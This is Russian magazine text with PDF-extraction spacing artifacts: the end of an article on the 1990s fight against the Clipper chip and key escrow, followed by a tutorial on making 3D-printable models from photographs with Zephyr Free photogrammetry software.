Кни га   Энди Грин берга• This Machine Kills Secrets
Ро ман  Нила  Сти вен сона  « »,
вдох новлен ный деятель ностью шиф ропан ков

• Крип тономи кон

В  чис ле  про чего  шиф ропан ки  при зыва ли  бой котиро вать  AT&T,  которая  сог‐ 
ласилась вста вить Clipper в свой новый телефон с шиф ровани ем. Пос тепен но
к пуб личной кам пании шиф ропан ков про тив Clipper при соеди нил ся широкий
круг час тных и юри дичес ких лиц.

Ви дя  явную  угро зу  пра ву  на  неп рикос новен ность  час тной  жиз ни,  зарож‐ 
дающиеся груп пы «Фонд элек трон ных рубежей»  ( ) и «Центр элек трон ной
час тной  информа ции»  ( )  тоже  под клю чились  к  борь бе  про тив  Clipper
(см.,  к  при меру,  ).  Они  орга низо выва ли
панель ные  дис куссии  с  экспер тами,  обща лись  с  кон грес сом  и  рас простра‐ 
няли  элек трон ные  петиции.  Одна  из  их  петиций    боль ше  50  тысяч
под писей. Бес пре цеден тно в ран ние дни интерне та!

EFF
EPIC

бюл летень  EFF  за  апрель  1993  года

соб рала

Ко орди нацию всей этой деятель нос ти взя ло на себя еще одно сооб щес‐ 
тво оппо зици оне ров — Ассо циация компь ютер ных про фес сиона лов за соци‐ 
аль ную ответс твен ность ( ). Нап ример, в янва ре 1994 года чле ны CPSR
под готови ли    адми нис тра ции  Клин тона  с  при зывом  отка зать ся
от Clipper.

CPSR
пись мо

Этот  текст  под писали  более  трид цати  ведущих  крип тогра фов,  экспер тов
по безопас ности и бор цов за при ват ность. Сре ди под писав шихся были мно‐ 
гие из отцов‐осно вате лей пуб личной крип тогра фии: Уит филд Диф фи, Мар тин
Хел лман, Рональд Ривест, Фил Цим мерман, Ральф Меркл и дру гие авто рите‐ 
ты.

На конец, к оппо зиции при соеди нил ся ряд вид ных полити ков — как демок‐ 
ратов, так и рес публи кан цев. Сенатор Пат рик Лихи, один из самых ярых кри‐ 
тиков «Клип пера», при зывал АНБ задать ся воп росом об эффектив ности чипа,
учи тывая сущес тво вание таких аль тер натив, как PGP. «Сом нева юсь, что прес‐ 
тупни ки будут поль зовать ся теми шиф рами, от которых у пра витель ства есть
клю чи,  ког да  в  про даже  име ется  мно жес тво  аль тер натив ных  методов  шиф‐ 
рования», —   он на слу шани ях в 1994 году.ска зал

ПЕРВЫЕ ШАГИ НА ПУТИ К ОТКАЗУ ОТ «КЛИППЕРА»
Нес мотря  на  рас тущую  оппо зицию,  спец служ бы  не  спе шили  отка зать ся
от  сво ей  задум ки.  В  фев рале  1994  года  пра витель ство  США  офи циаль но
при няло  тех нологию  Clipper  в  качес тве  федераль ного  стан дарта  обра бот ки
информа ции:  «Стан дарт  шиф рования  с  депони рова нием  клю чей»  (EES).
Естес твен но,  скеп тичес ки  нас тро енная  пуб лика  не  была  доволь на.  В  мар‐ 
те 1994 года, сог ласно   CNN и TIME, 80% аме рикан цев выс тупили про‐ 
тив «Клип пера». Оче вид но, пиар‐активность оппо зиции не прош ла даром.

оп росу

Пра витель ству приш лось раз ворачи вать встреч ную пиар‐кам панию. Глав‐ 
ный совет ник АНБ Стю арт Бей кер   статью в жур нале Wired:  «Не
пережи вай и будь счас тлив: почему Clipper полезен для  тебя». Дороти Ден‐ 
нинг тоже пош ла в нас тупле ние: писала жур наль ные статьи и обзо ры, осуж дая
самых вид ных кри тиков Clipper. По фак ту она ста ла самым ярым защит ником
позиции АНБ.

опуб ликовал

Од нако в ито ге АНБ про игра ло. Оппо зиция таки смог ла отсто ять свое пра‐ 
во  на  надеж ное  шиф рование  без  «Клип пера».  Пос ледний  гвоздь  в  крыш ку
гро ба Clipper и Skipjack был забит в мае 1994 года Мэт том Блей зом из AT&T
Bell Laboratories. Он пред ста вил на кон ферен ции ACM CCS  ‘94 отчет о нес‐ 
коль ких потен циаль ных уяз вимос тях Clipper ( ).PDF

Най ден ная  проб лема  сво дит ся  к  сле дующе му.  Чип  переда ет  устрой‐ 
ству 128‐бит ное поле Law Enforcement Access Field (LEAF), которое содер жит
информа цию,  необ ходимую  для  вос ста нов ления  клю ча  шиф рования.  Прог‐ 
рамма,  которая отправ ляет сооб щение, защище на от работы с под дель ным
LEAF при помощи 16‐бит ного хеша: сооб щения с невер ным хешем не будут
рас шифро ваны.  Одна ко  дли на  хеша  недос таточ но  велика,  что бы  слу жить
серь езной  прег радой  в  будущем.  При  помощи  брут форса  в  теории  мож но
получить  новое  зна чение  LEAF,  которое  будет  давать  тот  же  хеш.  Это  поз‐ 
волило бы исполь зовать Clipper для шиф рования без пос редни чес тва треть‐ 
ей сто роны (то есть пра витель ствен ных орга нов).

Но  даже  про играв,  АНБ  не  думало  сда вать ся.  Пос ле  фиас ко  1994  года
спец служ бы  так  и  не  отка зались  от  сво их  попыток  дер жать  крип тогра фию
под  кон тро лем.  Прав да,  нес коль ко  видо изме нили  так тику: 
на условное депони рова ние клю чей.

взя ли  курс

В чем раз ница с обыч ным депони рова нием, которое АНБ пыталось внед‐ 
рить  до  это го? Суть  условно го  депони рова ния  в  том,  что  «ключ»  к  каж дому
устрой ству  будут  хра нить  не  пра витель ствен ные  спец служ бы,  а  сер тифици‐ 
рован ная спец служ бами третья сто рона.

Но и новая схе ма в кон це кон цов тоже про вали лась. Проб лемы кон фиден‐ 
циаль нос ти,  безопас ности  и  эко номи чес кие  издер жки  про дол жали  пре‐ 
вышать  любые  потен циаль ные  выгоды.  К  1997  году  было  сфор мулиро вано
огромное количес тво аргу мен тов, под твержда ющих, что раз витие «условно го
депони рова ния клю чей» совер шенно бес пер спек тивно  (ты можешь най ти их
в кни ге Джампь еро Джа комел ло 

).
National Governments and Control of the Inter‐

net: A Digital Challenge
В  1996  году  Наци ональ ный  иссле дова тель ский  совет  США  (NRC) 

  700‐стра нич ный  отчет,  в  котором  разоб раны  проб лемы  попыт ки
огра ничить рас простра нение надеж ного шиф рования. В  кон це 1997  года  ту
же идею под держа ла в сво ем тех ничес ком   Евро комис сия.

опуб‐ 
ликовал

от чете
Окон чатель но добил идею условно го депони рова ния клю чей тех ничес кий
 за под писью десят ка тех ничес ких экспер тов. Име на все уже зна комые:

Мэтт Блейз, Уит филд Диф фи, Брюс Шнай ер и дру гие.
от чет

НА ПОРОГЕ КРИПТОВОЙНЫ 2.0
Прог нозы акти вис тов о том, что надеж ное шиф рование при несет поль зу эко‐ 
номи ке,  укре пит  безопас ность  интерне та  и  защитит  граж дан ские  сво боды,
сбы лись  в  пол ной  мере.  Появ ление  осно вопо лага ющих  тех нологий,  таких
как  SSL  и  SSH,  поз волило  реали зовать  элек трон ные  бан ков ские  сис темы,
сис темы обра бот ки элек трон ных медицин ских карт, онлай новые инс тру мен ты
опла ты  сче тов,  сис темы  домаш ней  авто мати зации,  сис темы  элек трон ной
переда чи налого вой отчетнос ти, VPN и мно гие дру гие полез ные вещи.

Со вре мен  «Клип пера»  надеж ное шиф рование ста ло  гораз до дос тупнее,
но  спец служ бы  про дол жают  попыт ки  пре пятс тво вать  его  рас простра нению.
Перипе тии пер вой  крип товой ны потихонь ку  забыва ются,  а дос тигну тые сво‐ 
боды сно ва под угро зой.

Что бы  обос новать  свою  точ ку  зре ния,  сот рудни ки  спец служб  воз родили
мно гие из тех аргу мен тов, которые выд вигались в девянос тых годах (они под‐ 
робно перечис лены, нап ример, в док ладе акти вис та Кевина Бэнк сто на,  ).PDF

В  2013  году  бла года ря  WikiLeaks  была  рас кры та  информа ция  о  широко
рас простра нен ных прог раммах наб людения АНБ. И вот при ват ность, защита
лич ных  дан ных  и  свя зан ные  с  этим  проб лемы  сно ва  в  цен тре  вни мания
общес твен ности.

«Мы  рекомен дуем  ока зывать  всес торон нюю  под дер жку  соз данию  и  рас‐ 
простра нению стан дартов шиф рования и уж тем более не под рывать дан ные
ини циати вы»,  —  говорит ся  в  отче те  ( )  ана лити чес кой  груп пы  при  пре‐ 
зиден те США. Она соз дана пос ле откро вений Сно уде на в 2013 году и приз‐ 
вана оце нить деятель ность АНБ,  зат рагива ющую при ват ность  граж дан. Но  к
какой сто роне прис луша ются влас ти, пока неяс но.

PDF
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Как и у любого челове ка, увле кающе гося 3D‐печатью, у меня
пери оди чес ки  воз ника ет  необ ходимость  прев ратить
какой‐нибудь  матери аль ный  пред мет  в  вир туаль ную  объ‐ 
емную  модель  для  пос леду ющей  отправ ки  на  прин тер.
В  онлайн‐катало гах  вро де    мож но  най ти  далеко
не все, а рисовать слож ную деталь в 3D‐редак торе — дол го
и мутор но.  Казалось  бы,  решение  проб лемы — 3D‐ска нер,
но  он  не  всег да  име ется  под  рукой.  Мож но  ли  обой тись
и  вов се  без  это го  хит роум ного  устрой ства?  Ока зыва ется,
мож но!  Для  это го  впол не  дос таточ но  обыч ной  циф ровой
фотока меры или смар тфо на.

Thingiverse

СУТЬ МЕТОДА
Спо соб получе ния трех мерной модели с помощью циф рового фото аппа рата
называ ется фотог раммет рией. Под этим тер мином понима ется опре деле ние
фор мы,  раз меров,  положе ния  и  иных  харак терис тик  объ ектов  по  их  изоб‐ 
ражени ям. Фотог раммет рия широко исполь зует ся там, где пред мет физичес‐ 
ки невоз можно запих нуть в 3D‐ска нер, нап ример при съем ке архи тек турных
объ ектов  или  при  аэро фотосъ емке  для  пос тро ения  объ емных  изоб ражений
лан дшаф та  зем ной  повер хнос ти.  Сло на  таким  обра зом  оциф ровать
не получит ся — объ ект дол жен быть непод вижен. Поль зуют ся фотог раммет‐ 
рией и 3D‐моделис ты, не жела ющие тра тить ся на покуп ку спе циаль ного обо‐ 
рудо вания.

Фо тог раммет рия  исполь зует  методы  опти ки  и  про ективной  геомет рии,
что бы  точ но  опре делить  каж дую  точ ку  повер хнос ти  иссле дуемо го  объ екта
и вос создать его трех мерную модель по дву мер ному изоб ражению. Про исхо‐ 
дит  это  так.  Спе циаль ные  прог раммы  обра баты вают  набор  фотос нимков
одно го  и  того  же  объ екта,  сде лан ных  с  раз ных  ракур сов.  При  этом  необ‐ 
ходимо, что бы на нес коль ких фотог рафи ях при сутс тво вали общие эле мен ты
сни маемо го  объ екта,  то  есть  каж дый  его  учас ток  дол жен  быть  запечат лен
как  минимум  на  трех  фото.  Вра щать  объ ект,  как  это  дела ется  при  исполь‐ 
зовании  3D‐ска неров,  в  этом  слу чае  не  сле дует,  пос коль ку  при  вра щении
меня ется  его  осве щен ность.  Вмес то  это го,  наобо рот,  нуж но  переме щать ся
вмес те с камерой вок руг ска ниру емо го пред мета. Резуль татом прог рам мно‐ 
го ана лиза сним ков ста новит ся циф ровая трех мерная модель, которую потом
мож но заг рузить в 3D‐редак тор для пос леду ющей обра бот ки.

Этот метод хорош для тех вла дель цев 3D‐прин теров, которые пока еще не
осво или  работу  в  про фес сиональ ных  трех мерных  редак торах,  но  жела ют
изго товить из плас тика какое‐то полез ное изде лие. В этом слу чае его мож но
будет  вылепить,  нап ример,  из  плас тилина,  при чем  в  боль шем мас шта бе —
так мож но получить доволь но мел кие детали, отска ниро вать, а затем отпра‐ 
вить на печать. Прав да, получен ная объ емная модель все рав но будет иметь
изъ яны, поэто му ее при дет ся нем ного «под пра вить» в соот ветс тву ющих прог‐ 
раммах вро де бес плат ных   или  .Meshmixer MeshLab

ЖЕЛЕЗО
Для  получе ния  трех мерной  модели  методом  фотог раммет рии  подой дет
любая  циф ровая  камера.  Оче вид но,  что  про фес сиональ ные  зер калки  дают
замет но луч ший резуль тат прос то в силу более качес твен ной опти ки. Кро ме
того, такие фото аппа раты поз воля ют импорти ровать сним ки в «сыром» фор‐ 
мате  RAW,  то  есть  без  сжа тия,  что  дает  опре делен ное  пре иму щес тво
при  обра бот ке  изоб ражения,  пос коль ку  при  сжа тии  гра фики  неиз бежны
потери.  Но  в  целом  для  дос тижения  при емле мого  резуль тата  впол не  дос‐ 
таточ но камеры,  которой обо рудо ваны прак тичес ки все сов ремен ные смар‐ 
тфо ны,  при  усло вии,  что  сам  объ ектив  камеры  не  име ет  физичес ких  пов‐ 
режде ний  и  дефек тов.  Общий  прин цип  тут  таков:  чем  боль ше  раз решение
получен ных  сним ков,  тем  выше  будет  качес тво  трех мерной  модели,  но  тем
боль ше вре мени пот ребу ется на прог рам мную обра бот ку кад ров.

Эк шен‐камеры  вро де  GoPro  для  целей  фотог раммет рии  под ходят
не очень  хорошо, пос коль ку боль шинс тво из них обо рудо ваны объ екти вами
типа  «рыбий  глаз»,  которые  вно сят  иска жения  в  получен ное  такой  камерой
изоб ражение. Этим сво дят ся на нет все пре иму щес тва подоб ных устрой ств.

Имен но поэто му в качес тве устрой ства для получе ния изоб ражений вмес‐ 
то  экшен‐камеры  впол не  мож но  исполь зовать  обыч ную  веб‐камеру,  бла го
имен но они и лежат в осно ве боль шинс тва бюд жетных 3D‐ска неров. Качес тво
получен ной  таким  обра зом  покад ровой  съем ки  будет,  чес тно  говоря,  так
себе,  зато  подоб ным  спо собом  мож но  сни мать  дос таточ но  боль шие  объ‐ 
екты — нап ример, архи тек турные соору жения или авто моби ли.

ОГРАНИЧЕНИЯ
Оче вид но,  что  с  исполь зовани ем  метода  фотог раммет рии  мож но  получить
качес твен ную 3D‐модель далеко не вся кого объ екта. При помощи циф рового
фото аппа рата не получит ся отска ниро вать сле дующие пред меты:

проз рачные объ екты;•
объ екты,  име ющие  повер хность  с  высокой  отра жающей  спо соб ностью,
нап ример зер каль ные или хро миро ван ные;

•

очень малень кие пред меты;•
пред меты,  повер хность  которых  име ет  боль шое  количес тво  мел ких
деталей, выс тупов и выемок, либо объ екты очень слож ной фор мы.

•

Чрез вычай но пло хо получа ются модели одно тон ных пред метов с очень глад‐ 
кой и ров ной повер хностью, потому что в этом слу чае прог рамме будет не к
чему  «при вязать ся»  при  обсче те  объ емной  фигуры.  Кро ме  того,  объ ект,
безус ловно,  дол жен  рас полагать ся  перед  объ екти вом  камеры  совер шенно
непод вижно. Качес твен но отска ниро вать дви жущий ся объ ект не получит ся.

ПРИСТУПАЕМ К СЪЕМКЕ
Пе ред  началом  съем ки  необ ходимо  помес тить  ска ниру емый  пред мет
на  какую‐нибудь  под став ку  или  зак репить  на  шта тиве.  Его  нуж но  жес тко
зафик сировать, что бы объ ект не переме щал ся и не бол тался на сво ем осно‐ 
вании. Мож но, нап ример, зак репить его на под став ке кусоч ком плас тилина —
при чем  этот  кусочек  дол жен  быть  дос таточ но  боль шим,  что бы  пред мет
не  переко сило  или  он  не  завалил ся  набок  во  вре мя  съем ки.  Объ ект  луч ше
все го уста новить на отдель но сто ящем табуре те или сто ле, вок руг которо го
мож но бес пре пятс твен но обой ти с камерой в руках.

Сле дует позабо тить ся и об осве щении: свет дол жен падать на сни маемую
сце ну  рав номер но,  не  оставляя  на  объ екте  бли ков  или  силь но  затенен ных
учас тков. Луч ше все го фотог рафиро вать пред мет на ули це в пас мурный день,
но  подой дет  и  обыч ный  днев ной  свет  в  помеще нии  либо  рас сеян ный  свет
люминес цен тных ламп. Не нуж но нап равлять источни ки све та непос редс твен‐ 
но на объ ект, луч ше ори енти ровать их на белый потолок или вос поль зовать ся
све торас сеива теля ми.  Важ но,  что бы  на  пред мете  отсутс тво вали  рез кие
затене ния.  Рас полагай  источни ки  све та  выше  модели,  что бы  пря мые  лучи
не попада ли в объ ектив. Вспыш ку на  камере сле дует отклю чить — она даст
ненуж ные бли ки.

За пом ни  началь ную  точ ку  съем ки  —  она  же  ста нет  и  конеч ной  точ кой,
на которой ты дол жен будешь завер шить обход объ екта. Ста рай ся нас тро ить
фото аппа рат так, что бы фотог рафиру емый пред мет по воз можнос ти занимал
весь  кадр,  но  при  этом  пол ностью  в  него  помещал ся,  не  «вылезая»  за  его
пре делы.  Перек лючи  камеру  в  руч ной  режим  съем ки  —  в  авто мати чес ком
режиме  она  будет  пос тоян но  перенас тра ивать  экспо зицию,  баланс  белого
и про чие парамет ры, чего нам сле дует по воз можнос ти избе гать. Единс твен‐ 
ный  авто мати чес кий  параметр,  который  мож но  оста вить  вклю чен ным,  —
авто фоку сиров ка:  хороший  фокус  —  это  залог  успе ха  все го  мероп риятия.
Выс тавив  все  необ ходимые  нас трой ки  в  самом  начале  съемок,  боль ше
не меняй их.

Об ходим  вок руг  ска ниру емо го  пред мета  с  камерой  в  руках,  делая
не  менее  пятиде сяти  сним ков  таким  обра зом,  что бы  каж дый  пос леду ющий
зах ватывал  часть  экспо зиции  пре дыду щего.  Твоя  тра екто рия  дви жения  дол‐ 
жна сос тавлять по воз можнос ти ров ную окружность. Во вре мя пер вого про‐ 
хода  ста рай ся  дер жать  камеру  при мер но  на  одном  уров не  по  отно шению
к объ екту, что бы на получен ных фотог рафи ях пред мет рас полагал ся на одной
высоте,  затем мож но  сде лать  сним ки  нем ного  под  углом  свер ху  или  сни зу,
обой дя  модель  по  кру гу  еще  нес коль ко  раз.  Мож но  исполь зовать  шта тив,
но  это  уве личит  вре мя  съем ки,  поэто му  луч ше  все го  работать,  что  называ‐ 
ется, «с рук»: сде лал кадр, перемес тился на нес коль ко сан тимет ров, сде лал
новый кадр и так далее.

Каж дый новый кадр дол жен содер жать часть пре дыду щего

По рядок  фотог рафий  для  боль шинс тва  при ложе ний  не  име ет  реша юще го
зна чения,  поэто му,  сде лав  нес коль ко  сним ков,  мож но  вер нуть ся  нем ного
назад и получить еще пару кад ров с пре дыду щей точ ки. Важ но лишь сле дить
за тем, что бы каж дый новый кадр перек рывал при мер но 60–70% экспо зиции
пре дыду щего. Фон, на котором рас положен пред мет, тоже не игра ет сущес‐ 
твен ной роли: луч ше, если он как раз будет неод нород ным, что бы прог рамме
было  лег че  «при вязать ся  к  мес тнос ти».  Тог да  она  смо жет  опре делить  рас‐ 
положе ние  раз личных  учас тков  пред мета  отно ситель но  друг  дру га  и  окру‐ 
жающе го прос транс тва. Очень важ но, что бы фон отли чал ся по цве ту от цве та
самой модели.

Чем боль ше будет исходных сним ков для обра бот ки,  тем луч ше, поэто му
их сто ит делать с  запасом. Уда лить лиш ние  кад ры никог да не поз дно, а вот
нащел кать  новые  —  уже  проб лематич но,  осо бен но  если  ты  убрал  фотог‐ 
рафиру емый объ ект с под став ки: в этом слу чае уста новить его обратно в точ‐ 
ности так же, как он сто ял до это го, мил лиметр в мил лиметр, будет уже невоз‐ 
можно. Не при меняй к исходным сним кам филь тры: это уве личит «циф ровой
шум» кар тинки, но никак не улуч шит ее с точ ки зре ния ПО.

ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ
Са мая извес тная прог рамма для пре обра зова ния фотог рафий в 3D‐модель
называ ется Zephyr Free, ее мож но ска чать с  . Бес плат ная
вер сия  Zephyr  име ет  огра ниче ние:  в  нее мож но  заг рузить  толь ко  50 фотог‐ 
рафий для одно го про екта, но даже с таким неболь шим количес твом кад ров
при ложе ние поз воля ет получить впол не при лич ный резуль тат.

сай та раз работ чиков

Пос ле уста нов ки и запус ка при ложе ния Zephyr Free открой меню 
и выбери в нем пункт  . Затем перета щи в окно прог раммы все
сде лан ные фотог рафии объ екта либо импорти руй их вруч ную, нажав на кноп‐ 
ку   и открыв пап ку, где хра нят ся фай лы.

Workflow
New Project

+
Выб рав  фотог рафии,  дваж ды  щел кни  мышью  на  кноп ке  .  Теперь

в меню   нуж но выб рать один из четырех вари антов позици они рова‐ 
ния  камеры  и  сни маемо го  объ екта:   —  для  сним ков  с  воз духа,  нап‐ 
ример с коп тера,   — для неболь ших пред метов, сня тых вбли зи,

 — сним ки челове чес кого  тела и, наконец,   — для съемок
город ских объ ектов и архи тек турных соору жений. В нашем слу чае луч ше все‐ 
го под ходит вто рой вари ант,  .

Next
Category

Aerial
Close Range

Human Body Urban

Close Range
Ни же  рас полага ется  меню  ,  где  пред лага ются  три  воз можные

нас трой ки  при ложе ния:    (быс трое  пос тро ение  модели),    (по
умол чанию) и   (глу бокий ана лиз). Для более высоко го качес тва получен‐ 
ной  модели  луч ше  все го  выб рать  вари ант  .  Сно ва  нажима ем 
а затем кноп ку   в вер хней час ти окна, что бы запус тить про цесс пре обра‐ 
зова ния фотог рафий в трех мерную модель.

Presets
Fast Default

Deep
Deep Next

Run

На  пер вом  эта пе  Zephyr  Free  про ана лизи рует  все  заг ружен ные  тобой
сним ки,  най дет  отли чия  меж ду  ними  и  покажет  спи сок  фотог рафий,
на  которых  ей  точ но  уда лось  опре делить  мес тополо жение  камеры  и  сни‐ 
маемо го  объ екта.  При год ные  для  работы  сним ки  будут  помече ны  в  спис ке
сло вом Yes, неудач ные — крас ной над писью No.

Ре зуль тат ана лиза фотог рафий прог раммой Zephyr Free

Ес ли для пос тро ения  трех мерной модели подош ло слиш ком мало кар тинок,
съем ку  и  все  пос леду ющие  про цеду ры  при дет ся  пов торить.  Лич но  у  меня
нор маль но  отснять  объ ект  получи лось  при мер но  с  вось мого  раза.  Если
резуль тат  тебя  устра ивает,  щел кни  мышью  на  кноп ке  ,  что бы  прос‐ 
мотреть на экра не обла ко точек, которое пос тро ила прог рамма на осно вании
заг ружен ных фотог рафий.

Finish

Так выг лядит соз данное Zephyr Free обла ко точек

Что бы соз дать более плот ное обла ко точек, щел кни мышью на кноп ке 
 и наж ми на кла вишу  . В сле дующем окне нам

так же  нуж но  будет  выб рать  в  вер хнем  меню  режим  ,  а  в  ниж‐ 
нем —  . Опять наж мем  , а затем —  .

Dense 
Point Cloud Generation Next

Close  Range
High Details Next Run

Сбор ка обла ка точек зай мет доволь но про дол житель ное вре мя, но в ито ге
мы  получим  изоб ражение  сфо тог рафиро ван ного  объ екта,  уже  боль ше
похожее  на  трех мерную  модель.  Помимо  самого  объ екта,  прог рамма
соберет мно го пос торон них точек, которые так же вклю чит в обла ко.

Луч ше уда лить пос торон ние объ екты сра зу, до того как они будут импорти‐ 
рова ны  вмес те  с  моделью  в  3D‐редак тор.  Для  это го,  прок ручивая  колесо
мыши,  нуж но мак сималь но  отда лить  обла ко  точек,  открыть  вклад ку 
в  пра вой  час ти  окна  и  нажать  на  кноп ку  .  Затем,  выделяя  мышью
области «лиш них» точек и нажимая на кла вишу Del, сле дует акку рат но убрать
все пос торон ние объ екты вок руг модели.

Editing
By  Hand

С  помощью  инс тру мен та    («лас со»)  мож но  убрать  лиш ние  точ ки
с повер хнос ти самой модели, повора чивая ее при помощи мыши.

Poly

С помощью инс тру мен та «лас со» мож но убрать лиш ние точ ки

Ког да  все  готово,  нажима ем  на  кноп ку  .  В  открыв шемся
окне выбира ем нас трой ки, иден тичные пре дыду щим, нажима ем кноп ку  ,
а затем —  . Сле дующий этап — сде лать из получен ного объ екта модель
с тек сту рами. Для это го вос поль зуем ся кноп кой  .
В открыв шемся окне мож но оста вить все пред ложен ные нас трой ки по умол‐ 
чанию.  Сно ва  нажима ем    и  .  Через  нес коль ко  минут  модель  будет
готова.

Mesh  Extraction
Next

Run
Textured Mesh Generation

Next Run

ИТОГ
Те перь  нам  оста лось  толь ко  экспор тировать  получен ную  объ емную  модель
в  фор мат,  при год ный  для  обра бот ки  в  редак торе  Meshmixer  или  MeshLab.
Для это го вос поль зуем ся кноп кой  . В окне экспор та
выбира ем фор мат OBJ,  пос ле  чего  нажима ем на  кноп ку  .  Сох ранен‐ 
ный  таким  обра зом  файл  мож но  импорти ровать  в  Meshmixer  для  пос леду‐ 
ющей кон верта ции модели в фор мат STL, при год ный для печати на 3D‐прин‐ 
тере.

Export Textured Mesh
Export

mailto:valentin@holmogorov.ru
https://www.thingiverse.com/
http://meshmixer.com/
http://www.meshlab.net/
https://www.3dflow.net/3df-zephyr-free/
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